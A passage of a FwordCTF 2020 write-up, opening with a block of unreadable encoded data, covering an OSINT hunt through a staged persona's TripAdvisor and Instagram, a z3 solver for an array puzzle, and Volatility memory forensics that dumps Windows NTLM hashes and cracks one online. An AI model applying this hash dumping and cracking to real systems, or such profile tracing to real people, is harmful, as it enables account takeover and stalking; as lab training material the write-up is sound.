x2lcri1Xt+HUhlobZ4o5VMR7PQ3yjGmKNPqlXiVG+hVFPp7plJeP7rGCQZshysbuLLTJ75m2+bo3mpy6vqXVlM3CVqZ1163ljP5opblsLG6+iVVOaVy4lxNF4uYuGm5nG3lwMmvzRZt7C7ik8iIMzMnkxsIMzC30hi41uXGtnZrIi97GVv8AWNfFkYX7dy8ro3ixzsrc0ytlBi93usVKzqZ00v8AcNyzu+xLSxp3Ow0m2WrdpDzxxL3uYy3UL+Lmvvcdc3nPpOWYo2S5a1ZtdzI6VreL3anDz4m7t2EV/eWvvMa1pNx015w1G3dA+ppZ8XdWreLMpmWfE1fYrm5iykNwpdpXKpPVPJGM63vKP7puZcdbXRZiwkaN2sS2WE2hEkde1diVWeLuX5s2lvEkHaX3SF11ZDDo10WSaJqLL3GelxHP4sWHxyMtdFNbPBPA3lqTQ33j5DbY1Nrf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Having this image, I tried to EXIF it, I tried to search it using the free available reverse image search websites used for OSINT (Google, Bing, Yandex, Tineye) but I was always failing.
Seeing the image it looks like it was shared in a social media network but since we know that not all the shared images are indexed by the search engines so this makes sense. And that's why this part was the most difficult part for me.
And that's where comes the Google dorks tricks. The only thing that we know about this image apart the fact that it seems to be shared on a social media network is it was promoting Hilton hotel.
So by searching for any relation between Eword and Hilton hotel, we can find something that can lead us to the Eword leader.
I tried several search queries until I was satisfied with this one: ``"eword" hilton hotel``.
I accessed that [link](https://www.tripadvisor.com/Hotel_Review-g304088-d600703-Reviews-Hilton_Podgorica_Crna_Gora-Podgorica_Podgorica_Municipality.html) and I searched for that review.
Someone with the name `Wokaihwokomas Kustermann` wrote that feedback on 26/08/2020 which matches with the task time range.
I inspected his profile to make sure I'll not be missing anything.
I found that he was recommending to check his instagram profile.
So, by searching for `Wokaihwokomas Kustermann` on Instagram, I found his profile: [https://www.instagram.com/wokaihwokomaskustermann/](https://www.instagram.com/wokaihwokomaskustermann/)
There was only a shared story that is identical to the image that we were searching for.
In this step, I was stuck again with no other hint because we don't know whether another detail was removed or how can we find the flag until I found that there was another story that I was missing after watching the first story.
Knowing that the user mentioned about a square shaped image and that the Instagram was only showing circular shaped images, I thought about inspecting the image using the Browser's inspection tools (right click -> inspect the element -> select the image -> see the source code of that image -> retrieve the image link -> open it in a new tab).
After doing this, I found the square shaped image.
And the flag was in the part of the image that was hidden by the circule. But the actual image was small. So after failing to retrieve a bigger image by tweaking the URL, I asked Google for a website that retrieve the Instagram profile image in HD. And that's how I found [http://izuum.com/index.php](http://izuum.com/index.php).
I used the Instagram username `wokaihwokomaskustermann` to search for that user.
And the website got me a great HD image.
Full image:
So the flag is : ```Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!}```___
## Secret Array
**Category:** Misc**Points:** 283**Author:** KOOLI**Description:**
> ``nc secretarray.fword.wtf 1337``
**Hint:**
>(no hint)
### Write-up
When we execute that command we will get the following output:
```[x] Opening connection to secretarray.fword.wtf on port 1337[x] Opening connection to secretarray.fword.wtf on port 1337: Trying 3.208.42.57[+] Opening connection to secretarray.fword.wtf on port 1337: Done
I have a 1337 long array of secret positive integers. The only information I can provide is the sum of two elements. You can ask for that sum up to 1337 times by specifing two different indices in the array.
[!] - Your request should be in this format : "i j". In this case, I'll respond by arr[i]+arr[j]
[!] - Once you figure out my secret array, you should send a request in this format: "DONE arr[0] arr[1] ... arr[1336]"
[*] - Note 1: If you guessed my array before 1337 requests, you can directly send your DONE request.[*] - Note 2: The DONE request doesn't count in the 1337 requests you are permitted to do.[*] - Note 3: Once you submit a DONE request, the program will verify your array, give you the flag if it's a correct guess, then automatically exit.
START:```
The first thing I thought about was to find how much requests do we need to send to the service to be able to solve the problem and then we need to find how we can do this with coding.
For the problem resolution, I though about an array of 4 elements "a0 a1 a2 a3".
To get the values of each element using sum, we need 4 operations as follow:
```a0 + a1 = x1a1 + a2 = x2a2 + a3 = x3a3 + a0 = x4```
Where x1, x2, x3, x4 are known since the service is returning the sum value of the 2 indexes's values.
I tried to solve this issue as a system of 4 equations using substitution but I failed since I found 2 unknown elements instead of 1. But hopefully my friend Likkrid gave me a better solution which is solving this system using subtraction and it was successful to identify the 4 element's values.
Now, coming to the implementation of this solution, also my friend Likkrid recommended me the usage of Z3Py Python's library to solve the system of 1337 equations after retrieving the 1337 sums from ``a0 + a1 = x1`` until ``a1336 + a0 = x1337``.
The python script is available here for download: [solver.py](resources/misc-283-secret_array/solver.py).
```python#!/usr/bin/python
from pwn import *import z3import time
r = remote('secretarray.fword.wtf', 1337)s=z3.Solver()print r.recv(1024).decode()for i in range(0,1337): print i if i<1336: #print "send",str(i)+" "+str(i+1) r.send(str(i)+" "+str(i+1)+"\n") time.sleep(0.3) result=r.recv(1024).strip() exec("a"+str(i)+" = z3.Int('a"+str(i)+"')") exec("a"+str(i+1)+" = z3.Int('a"+str(i+1)+"')") #print "a"+str(i)+"+a"+str(i+1)+"=="+(result if result else "0") s.add(eval("a"+str(i))+eval("a"+str(i+1))==(result if result else "0")) else: #print "send",str(i)+" 0" r.send(str(i)+" 0\n") result=r.recv(1024).strip() exec("a"+str(i)+" = z3.Int('a"+str(i)+"')") #print "a"+str(i)+"+a0=="+(result if result else "0") s.add(eval("a"+str(i))+a0==(result if result else "0"))
s.check()#print smodel=s.model()results="DONE"#print "model",s.model()for i in range(0,1337): for j in model: if str(j)=="a"+str(i): #print "a"+str(i),str(int(s.model()[j].as_string())) results=results+" "+str(int(s.model()[j].as_string())) break
print results.strip()print "length of the solved system:",len(model)print "length of the array's results:",(len(results.strip().split(" "))-1)r.sendline(results.strip())time.sleep(1)print r.recv(1024)time.sleep(1)print r.recv(1024)```
There was only one trick that took too much time for me since I was used to work with the socket module, when I switched to use the pwn library I though that I don't need to make a time.sleep() for some milliseconds between the send and the receive methods but I was wrong because I executed the script from my VPS and the execution was fast and then if I don't wait for few milliseconds, the response will be empty which is wrong because the sum of two values can't be empty.
Execution:
```pip install z3python resources/misc-283-secret_array/solver.py```
Output:
```[x] Opening connection to secretarray.fword.wtf on port 1337[x] Opening connection to secretarray.fword.wtf on port 1337: Trying 3.208.42.57[+] Opening connection to secretarray.fword.wtf on port 1337: Done
I have a 1337 long array of secret positive integers. The only information I can provide is the sum of two elements. You can ask for that sum up to 1337 times by specifing two different indices in the array.
[!] - Your request should be in this format : "i j". In this case, I'll respond by arr[i]+arr[j]
[!] - Once you figure out my secret array, you should send a request in this format: "DONE arr[0] arr[1] ... arr[1336]"
[*] - Note 1: If you guessed my array before 1337 requests, you can directly send your DONE request.[*] - Note 2: The DONE request doesn't count in the 1337 requests you are permitted to do.[*] - Note 3: Once you submit a DONE request, the program will verify your array, give you the flag if it's a correct guess, then automatically exit.
START:
DONE 882074565321339936426015270379 237041015714489603612749676508 735942283250970902894619135353 769570036365545998247560462307 358093366869922753604064191300 846812717969782586805050398135 771379174273997375923375988136 845526135789468431659086245474 477791916351688485715808163421 930800022720554491827637381853 999680091758310368643053583247 185945425567046216916616774069 548193655183144633560074943563 163752110560858844552559735982 809842278452854024213944401092 63126344576603515440990266173 536350367473602539710322449253 525462551993088197896204616527 26019307559619217233165889413 678246541222209847683426708404 167054566499878283767854112298 916863491983612669627714467522 866512119618168022431575287281 770282663120238719909449412558 17698011785127051934722174676 506436276178844828479355460241 364507445837389480829388693850 478243457358118782184551240191 362975449994850307878734077277 79416040862228597622670674493 699077959961321297097958555541 130680171721974811938831602523 722515733623057407531977068408 107110915537337340060758847050 871110456327373561058599133909 611700338371288519255305243723 112673304125406355771774003309 762357586707245483109415383542 473037716896162891865834111648 740988990443440669824613608664 132974380384295544030922942914 346655317633097728910436731104 614175703481719543947471337448 940327256050181059304565050028 92945322674000115891190969652 756956538466667341515036830304 977968684457121762228769933357 598942068709425688550258832779 324906743907409720909632527601 909377161189362510289040596381 593442764175779833425616880670 561516492415921938020525334341 299753763953982600112038009288 197202020200224694235915672845 37794227392414548309250547977 281027881570422623221283625822 799204368907457904727116559248 715428685855001604030787325645 309449422141621428318215223454 779861727503038071427138491191 230630241891245494630102199976 9049080132892488645574763422 786762453386287856472273846665 137406037157133043239611688883 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822375043495619761944861519972 663938619063978495874534834345 40184497331922613496528896982 96651341380806265055474742874 569211944761523188530335729078 971491789720261837699473149857 254033039225053644540777318794 371156987971994144222102427298 552233116200014493678918980023 295459004571278043471775113460 950978351365370226190276337993 981972113953125635095554684819 613392171688095343155266810068 988275256454056707386297496228 919910555715929711990294816395 331680416523012150626813995335 963232569635654894073660210351 378461391306022088434725883167 316219840943194091938654131212 157512800707788303899932151960 793462598722149854189459084942 256099570333236145647875306720 238058337137510317129380168362 242947508893064843775147012487 355320875075702456560544935910 471720331065228718591151571789 856169934005128050600519143797 762370916267869447841214329775 993497962482866211028442298733 518561856792546361582760006136 934075525612376978469662883465 160688877960374040067371985843 973542555968500011203270234868 88513080626526601524818265680 833399114577064164200268563963 232543573511967780353703533171 455181386149195687299712226144 308446550861526289691728628362 99683459694801711581944899388 222369143008725108925087195114 226219048896373494184984854648 817515322505071092635037120986 899693382866294023980688240950 731109737363403999778146313080 11585470531432868034409927654 136721108925187832179663343748 218878454138049014632641644208 45104610801363569584573818024 851638154958299987223574979535 935787731071096314044356630936 199344643203186247839062040378 350298114459809030350407362547 651368717836769007386669135246 13028300112227873068369382521 649389926758277386390477590247 716694316274712481603063809528 767497805573565697452081904246 859594127311603453471419870328 276718585843138550045242482694 270621350223690805039458346945 882851846997715676030915445671 147005932316573640625222262011 962516221675048249633600651629 142999206798927755202714417658 338200118833517293913753254916 353098332975450794695193115 639478587546889035706931903789 366145572990290817504253243808 236859816134096904531980956369 620301594115009808900583045657 564535132847643655642550460388 811156700605859198651865779342 108904490543477846116268259176 274369000018543911083971966870 211342207540341813623129073575 836568815727517896518486764181 884348990498573834839211617570 593425938551729097391923014648 411037282463745057638164724823 600542128338055767718737414543 619640229138641535067155175976 731138028985627775699092095137 246193990179001270376162138712 208483119190770132573196314847 60591061497789870188479749934 436255610130837936459965578659 219743496983603140147945414467 744434158934620122833172608058 297791851944965194060885237858 848171872645101850536943202147 691230917428178059150656826222 331920949616804993977431744890 188990626823473771669970835999 853999549222615574184160676988 426581830899883056330939694164 545850379624256644845417041609 206898714949998847882049316749 600922036266170588860811406626 445002578839372149073202934779 755505079281341703455242086034 554606046321292646018328308518 491410644121221167022973999466 886696421014164059657453156938 576684874184284920761216930687 28114959744965733022489049473 659371544578249015018260378126 686436413399263391028400347672 771582766634625860183378734250 43329803301088231785420738668 789390880428603995835220996975 95843761289134737380026726699 607657307608983959987793684791 763121036629216863027308575507 695752976863908234000425941210 183999126076091342937557825072 186793675528356887821897344540 631935025165038205571818923602 383364014052929057642436213844 621462173523727407826051431420 700856283608651796441558150148 679621261248938156795682471846 600889020839385789386043404419 703498046477358151065837099150 314309051704298644258317809945 967436130406043633721122296572 676212954323956018309058930527 4547530505855250748483917847 100983845147693432085059458528 339251519149008894109778821343 934807106956215360626560110582 594674598731630275002896465473 770757954082647400726968112798 830319874196252178510311404372 377307643453627105959902092172 206638680410448733374377548806 543720335249845648279763661454 575989636871937725494011151161 993996327375586192236148860884 577478486887548168530074351040 114525249759655970691246808929 212383832894687559057036388929 527304494711982532132925552980 575980820709482598803802344541 534140669749849341436494824420 498999534125566963963524431887 660323975112393443004221199345 136629325692913249617390911371 856225685842457891207581210261 382236217025931865524266457446 916981812634971935362102424803 650983817935982166075501250565 520076012018861617944862841325 568070785815492613119797767124 929426002688656730578655495848 388641364576174208975578118486 754288805782329904072629271858 7539529998150599043771503290 515315771436238056833360898841 635826131846738367904626878837 129977530055197841755264624480 770035583613709893150835726905 95291150541467317217156613056 896815536680583446585133872931 688305357073982731630616328867 820844341017741039208950587295 104243593710255300826694436541 770267178982348671718915014437 524817130634272459917249808264 881596592942006529423155080660 460809554977471557874987038531 552203073934971154805289618652 285558583844299518782868746962 771687664263005438473545038546 309699046605439403872809056495 87421934777919000650262780503 460648873139398989670353918314 303755726335676951211719118271 642134713029850585247460120104 994587367824415577394910764431 610301661262474430002645397045 581907927596193338287675038489 263071432306564437305700089331 1323602499525101762283093077 238040809388633067114571632443 750262249497683926277729712036length of the solved system: 1337length of the array's results: 1337
Congratualtions! You guessed my secret array, here is your flag: FwordCTF{it_s_all_about_the_math}```
So, the flag is ```FwordCTF{it_s_all_about_the_math}```___
## Memory
**Category:** Forensics**Points:** 73**Author:** SemahBA & KOOLI**Description:**
> Flag is : FwordCTF{computername_user_password}
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
In this task, we have a memory dump that we need to analyze in order to get the flag according to what the author needs.
Before starting this task, we have to extract the memory dump from the compressed file using `7z e foren.7z` and we will work on the extracted file `foren.raw`.
The first thing that we need to do when analyzing an unknown memory dump is to identify its profile.
```volatility -f foren.raw imageinfo```
Output:
```Volatility Foundation Volatility Framework 2.6INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/root/fword/foren.raw) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002c48120L Number of Processors : 4 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002c4a000L KPCR for CPU 1 : 0xfffff88002f00000L KPCR for CPU 2 : 0xfffff88002f7d000L KPCR for CPU 3 : 0xfffff880009af000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2020-08-26 09:22:27 UTC+0000 Image local date and time : 2020-08-26 02:22:27 -0700```
There was multiple suggested profiles but I picked one of them which is `Win7SP0x64`.
Personally, I followed this tutorial for the first part of this task to identify the hostname just to avoid taking the full credits for solving this task: [Volatility/Retrieve-hostname](https://www.aldeid.com/wiki/Volatility/Retrieve-hostname).
By following the previous tutorial, we need to list the hives of that memory dump in order to use the right offset to extract the hostname.
```volatility -f foren.raw --profile=Win7SP0x64 hivelist```
Output:```Volatility Foundation Volatility Framework 2.6Virtual Physical Name------------------ ------------------ ----0xfffff8a000b0f410 0x000000002720d410 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT0xfffff8a000d00010 0x000000001ff75010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT0xfffff8a000f8b410 0x00000000175e8410 \??\C:\Windows\System32\config\COMPONENTS0xfffff8a00145f010 0x0000000027d9b010 \SystemRoot\System32\Config\DEFAULT0xfffff8a0014da410 0x00000000275c0410 \SystemRoot\System32\Config\SAM0xfffff8a0033fe410 0x0000000069de6410 \??\C:\Users\SBA_AK\ntuser.dat0xfffff8a0036e7010 0x0000000069188010 \??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat0xfffff8a0038fe280 0x0000000068390280 \??\C:\System Volume Information\Syscache.hve0xfffff8a00000f010 0x000000002cfef010 [no name]0xfffff8a000024010 0x000000002d07a010 \REGISTRY\MACHINE\SYSTEM0xfffff8a000058010 0x000000002d3ae010 \REGISTRY\MACHINE\HARDWARE0xfffff8a000846010 0x000000002a0e9010 \Device\HarddiskVolume1\Boot\BCD0xfffff8a000873010 0x0000000013880010 \SystemRoot\System32\Config\SOFTWARE0xfffff8a000ab8010 0x0000000027455010 \SystemRoot\System32\Config\SECURITY```
As we can see the `\REGISTRY\MACHINE\SYSTEM` is located on `0xfffff8a000024010`.
We will use the Virtual address offset as a reference to extract the registry key value that contains the machine hostname.
```volatility -f foren.raw --profile=Win7SP0x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ComputerName'```
Output:
```Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile
----------------------------Registry: \REGISTRY\MACHINE\SYSTEMKey name: ComputerName (S)Last updated: 2020-08-25 16:20:54 UTC+0000
Subkeys:
Values:REG_SZ : (S) mnmsrvcREG_SZ ComputerName : (S) FORENWARMUP```
So, the hostname is `FORENWARMUP`.
But we still have 2 other parts to extract which are the username and his password.
And also for the next steps, I followed the following tutorial to do this: [Volatility/Retrieve-password](https://www.aldeid.com/wiki/Volatility/Retrieve-password)
And the missing step was obvious because the user's hashes are stored in the `\SystemRoot\System32\Config\SAM` file.
```volatility -f foren.raw --profile=Win7SP0x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a0014da410```
Output:
```Volatility Foundation Volatility Framework 2.6Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::fwordCTF:1000:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:514fab8ac8174851bfc79d9a205a939f:::SBA_AK:1004:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::```
And that's how we get the usernames and their password's NTLM hash that need to be cracked.
The first time, I though the user that we are searching for is `fwordCTF`. So, I cracked his password using [https://crackstation.net/](https://crackstation.net/).
Input: `a9fdfa038c4b75ebc76dc855dd74f0da`
So, the password is `password123`.
But since the flag ``FwordCTF{FORENWARMUP_fwordCTF_password123}`` doesn't work, I double remembered that in the output of ``volatility -f foren.raw --profile=Win7SP0x64 hivelist``, there was the only available user that is located under `\??\C:\Users\` is `SBA_AK` which could be the real user that we are looking for because SBA and AK are the acronyms of the 2 authors of this task. And since both the users `fwordCTF` and `SBA_AK` have the same NTLM hash, I tried the following flag and it worked.
So, the flag is ```FwordCTF{FORENWARMUP_SBA_AK_password123}```___
## Memory 2
**Category:** Forensics**Points:** 379**Author:** Semah BA & KOOLI**Description:**
> I had a secret conversation with my friend on internet. On which channel were we chatting?
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory`, in this task we have to find the channel where the author had a secret chat conversation with his friend.
This reminded me to inspect the processes list and to check which process seems to be used for chatting (obviously a web browser) and then to retrieve the channel from there.
I found a useful tutorial for few commands that I needed to list the captured processes: [First steps to volatile memory analysis](https://medium.com/@zemelusa/first-steps-to-volatile-memory-analysis-dcbd4d2d56a1).
I tried the following command.
```volatility -f foren.raw --profile=Win7SP0x64 pstree```
Output:
```Volatility Foundation Volatility Framework 2.6Name Pid PPid Thds Hnds Time-------------------------------------------------- ------ ------ ------ ------ ---- 0xfffffa801af105c0:explorer.exe 1000 1332 31 896 2020-08-26 09:11:21 UTC+0000. 0xfffffa801b024780:WzPreloader.ex 2264 1000 6 123 2020-08-26 09:11:21 UTC+0000. 0xfffffa801adeaa40:mspaint.exe 1044 1000 7 133 2020-08-26 09:20:28 UTC+0000. 0xfffffa801aca4060:chrome.exe 3700 1000 33 986 2020-08-26 09:12:48 UTC+0000.. 0xfffffa801af86b00:chrome.exe 2560 3700 13 337 2020-08-26 09:12:48 UTC+0000.. 0xfffffa8019ac0640:chrome.exe 3992 3700 14 216 2020-08-26 09:13:33 UTC+0000.. 0xfffffa8018e55b00:chrome.exe 3304 3700 8 231 2020-08-26 09:12:50 UTC+0000.. 0xfffffa8019b5b5f0:chrome.exe 540 3700 13 171 2020-08-26 09:13:21 UTC+0000.. 0xfffffa801ab9c750:chrome.exe 3752 3700 8 93 2020-08-26 09:12:48 UTC+0000.. 0xfffffa8019b60060:chrome.exe 3816 3700 13 195 2020-08-26 09:13:22 UTC+0000.. 0xfffffa8019a5b360:chrome.exe 3528 3700 11 209 2020-08-26 09:12:55 UTC+0000.. 0xfffffa8019b2ab00:chrome.exe 616 3700 26 332 2020-08-26 09:13:21 UTC+0000.. 0xfffffa8019b6fb00:chrome.exe 2516 3700 17 294 2020-08-26 09:13:32 UTC+0000. 0xfffffa8019bf7060:DumpIt.exe 1764 1000 2 52 2020-08-26 09:22:18 UTC+0000 0xfffffa801a74db00:wininit.exe 388 348 3 84 2020-08-26 09:10:27 UTC+0000. 0xfffffa801a74e7e0:services.exe 488 388 8 232 2020-08-26 09:10:27 UTC+0000.. 0xfffffa801aaba450:svchost.exe 3308 488 14 339 2020-08-26 09:12:31 UTC+0000.. 0xfffffa801abff060:svchost.exe 1240 488 18 311 2020-08-26 09:10:29 UTC+0000.. 0xfffffa801aa64510:svchost.exe 900 488 38 1047 2020-08-26 09:10:27 UTC+0000... 0xfffffa8019bf2060:wuauclt.exe 1876 900 3 98 2020-08-26 09:13:33 UTC+0000.. 0xfffffa8019bc0b00:svchost.exe 3284 488 7 110 2020-08-26 09:20:28 UTC+0000.. 0xfffffa801a9e6b00:svchost.exe 680 488 8 298 2020-08-26 09:10:27 UTC+0000.. 0xfffffa801a976b00:mscorsvw.exe 4012 488 6 93 2020-08-26 09:12:30 UTC+0000.. 0xfffffa801b3211e0:svchost.exe 2996 488 10 366 2020-08-26 09:11:29 UTC+0000.. 0xfffffa801ab61b00:svchost.exe 1336 488 10 147 2020-08-26 09:10:30 UTC+0000.. 0xfffffa801aecf5f0:taskhost.exe 2036 488 10 234 2020-08-26 09:11:20 UTC+0000.. 0xfffffa8018e10b00:spoolsv.exe 1212 488 14 299 2020-08-26 09:10:29 UTC+0000.. 0xfffffa801ab66b00:svchost.exe 1096 488 16 480 2020-08-26 09:10:29 UTC+0000.. 0xfffffa801ae2e060:sppsvc.exe 1360 488 4 151 2020-08-26 09:10:34 UTC+0000.. 0xfffffa8018e4f4f0:svchost.exe 1748 488 7 104 2020-08-26 09:10:30 UTC+0000.. 0xfffffa801a9bb060:svchost.exe 600 488 11 367 2020-08-26 09:10:27 UTC+0000... 0xfffffa801a5f95f0:WmiPrvSE.exe 952 600 5 120 2020-08-26 09:11:30 UTC+0000.. 0xfffffa801ae824b0:mscorsvw.exe 4052 488 6 83 2020-08-26 09:12:31 UTC+0000.. 0xfffffa801aa4a860:svchost.exe 864 488 22 574 2020-08-26 09:10:27 UTC+0000.. 0xfffffa801b20fb00:wmpnetwk.exe 2768 488 14 494 2020-08-26 09:11:28 UTC+0000.. 0xfffffa801ac9bb00:svchost.exe 1388 488 22 340 2020-08-26 09:10:30 UTC+0000.. 0xfffffa801aa34b00:svchost.exe 808 488 26 533 2020-08-26 09:10:27 UTC+0000... 0xfffffa8019f45870:dwm.exe 1604 808 3 80 2020-08-26 09:11:20 UTC+0000.. 0xfffffa801a9ecb00:svchost.exe 756 488 23 588 2020-08-26 09:10:27 UTC+0000... 0xfffffa801aa879b0:audiodg.exe 968 756 8 148 2020-08-26 09:10:28 UTC+0000.. 0xfffffa801aec4480:SearchIndexer. 2644 488 13 711 2020-08-26 09:11:27 UTC+0000.. 0xfffffa801aab6410:TrustedInstall 1020 488 5 147 2020-08-26 09:10:28 UTC+0000. 0xfffffa801a5f3b00:lsass.exe 496 388 10 752 2020-08-26 09:10:27 UTC+0000. 0xfffffa801a79a550:lsm.exe 504 388 10 147 2020-08-26 09:10:27 UTC+0000 0xfffffa801a738060:csrss.exe 356 348 10 459 2020-08-26 09:10:26 UTC+0000 0xfffffa8018da8040:System 4 0 103 585 2020-08-26 09:10:17 UTC+0000. 0xfffffa8019ebdb00:smss.exe 264 4 2 32 2020-08-26 09:10:17 UTC+0000 0xfffffa801a72fa00:csrss.exe 404 380 9 384 2020-08-26 09:10:27 UTC+0000. 0xfffffa801b2ad060:conhost.exe 2592 404 2 56 2020-08-26 09:22:18 UTC+0000 0xfffffa801a763930:winlogon.exe 448 380 5 122 2020-08-26 09:10:27 UTC+0000 0xfffffa801b01d480:FAHWindow64.ex 2252 2240 2 77 2020-08-26 09:11:21 UTC+0000```
The only obvious process name that could be used for chatting is the Chrome browser (chrome.exe).
There was an interesting tutorial that is important to extract the web browser's history using Volatility plugin: [Volatility Plugin β Chrome History](https://blog.superponible.com/2014/08/31/volatility-plugin-chrome-history/).
I downloaded the plugin from github.
```git clone https://github.com/superponible/volatility-plugins```
And I used it to extract the browser's history.
```volatility foren.raw --plugins=volatility-plugins/ -f foren.raw --profile=Win7SP0x64 chromehistory```
Output:
```Volatility Foundation Volatility Framework 2.6Index URL Title Visits Typed Last Visit Time Hidden Favicon ID------ -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ------ ----- -------------------------- ------ ---------- 84 https://www.facebook.com/ Facebook - Log In or Sign Up 2 0 2020-08-26 09:13:16.484337 N/A 83 http://facebook.co/ Facebook - Log In or Sign Up 1 1 2020-08-26 09:13:15.341831 N/A 81 https://twitter.com/FwordTeam Fword (@FwordTeam) / Twitter 1 0 2020-08-26 09:12:59.645547 N/A 82 https://ctf.fword.wtf/ Fword CTF 1 0 2020-08-26 09:13:01.342381 N/A 86 https://youtube.com/ YouTube 1 1 2020-08-26 09:13:21.325404 N/A 79 https://discord.gg/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 80 https://discord.com/invite/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 77 http://fword.wtf/ Fword CTF 1 0 2020-08-26 09:12:55.299362 N/A 78 https://fword.wtf/ Fword CTF 1 1 2020-08-26 09:12:55.299362 N/A 92 https://www.youtube.com/watch?v=sT1TFWDvL78&list=RD1XsfrpqXPc0&index=2 Lomepal - Trop Beau (Emma PΓ©ters Cover & Crisologo Remix) - YouTube 1 0 2020-08-26 09:16:56.579216 N/A 90 https://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 1 2020-08-26 09:13:32.517035 N/A 89 http://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 0 2020-08-26 09:13:32.517035 N/A 91 https://gofile.io/d/k2RkIS Gofile 1 0 2020-08-26 09:16:55.222846 N/A 88 https://www.youtube.com/watch?v=1XsfrpqXPc0&list=RD1XsfrpqXPc0&start_radio=1 Gabriel Vitel - Feeling Better - YouTube 1 0 2020-08-26 09:13:25.497121 N/A 87 https://www.youtube.com/ YouTube 3 0 2020-08-26 09:13:25.489943 N/A 85 http://youtube.com/ YouTube 1 0 2020-08-26 09:13:21.325404 N/A 93 https://www.youtube.com/watch?v=h3EEhWecuoA&list=RD1XsfrpqXPc0&index=3 Izzamuzzic - Adventure (Original Mix) - YouTube 1 0 2020-08-26 09:21:41.640325 N/A```
Apart Facebook, Twitter, Fword platform, Youtube and the Fword's discord's public channel, there was 2 websites that could be used for a secret chat: `https://gofile.io/d/k2RkIS` (Gofile used to share files) and `https://webchat.freenode.net/` (Kiwi IRC - The web IRC client which is an IRC web client used for IRC chatting).
Personally, when I saw the Gofile website I forget to follow the IRC track and I will discuss about this in the next task `Memory 3` because that file is intended for that task and we can't solve it or validate its flag before seeing the flag of the actual task `Memory 2`. And I figured out that I needed to catch for any data related to the IRC chat that occurred in the Chrome web browser. But since I wasn't be able to find a clean method to do that, I used the `strings` command and I searched for any keyword related to IRC.
```strings foren.raw > /tmp/foen_strings.loggrep -i "freenode " /tmp/foen_strings.log```
Output:
```[REDACTED]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Hmmm"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :No problem I'll give it again .. "]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Just be careful this time"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :The password is"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :fw0rdsecretp4ss"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :See yaa Bahlous \\o"]hha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]h[REDACTED]```
For the people that know the IRC commands, `/PRIVMSG` is used to join a channel using the channel name. So, the channel name is `#FwordCTF{top_secret_channel}` (the # is mandatory in IRC channel names).
This task could be easily be solved using `strings foren.raw | grep FwordCTF`. But this is not a good idea because it's useless to solve a task using such method since it doesn't explain the real purpose of the task.
So, the flag is ```FwordCTF{top_secret_channel}```.___
## Memory 3
**Category:** Forensics**Points:** 405**Author:** Semah BA & KOOLI**Description:**
> He sent me a secret file , can you recover it ?
> PS: NO BRUTEFORCE NEEDED FOR THE PASSWORD
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory` and the last steps of the task `Memory 2`, in this task we have to find the file that the author's friend sent to him.
We already know that a file was shared on Gofile according to the web browser's history.
```volatility foren.raw --plugins=volatility-plugins/ -f foren.raw --profile=Win7SP0x64 chromehistory```
Output:
